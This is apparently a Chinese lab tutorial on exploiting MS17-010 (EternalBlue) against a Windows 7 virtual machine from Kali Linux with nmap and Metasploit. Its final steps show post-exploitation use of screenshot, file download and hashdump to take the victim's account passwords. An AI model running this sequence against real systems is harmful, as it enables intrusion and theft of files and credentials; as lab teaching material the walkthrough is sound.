1、打开win7(192.168.239.129)和kali(192.168.239.128)虚拟机,设备网络连接方式:NAT,确保两台虚拟机可以互相通信。
2、在kali中ping win7的ip,验证两台虚拟机通信正常。
3、使用nmap工具对win7 ip进行扫描(nmap 192.168.239.129),确认win7中 445端口开放状态。
4、启动msf(Metasploitable)
命令:msfconsole
5、通过msf进行搜索ms17-010漏洞
命令:search ms17-010
6、使用序号为0的攻击模块
提示缺失攻击负载。
7、设置攻击负载
8、设置攻击对象ip
9、设置攻击者ip
10、完成配置,可查看配置信息。
11、执行攻击(run exploit)
12、完成攻击后,使用screenshoot指令,可以打印攻击对象(win7)的桌面
13、通过download指令,可以讲win7对应文件下载下来,保存到指定位置
14、通过hashdump指令,可以获取到win7的账号和密码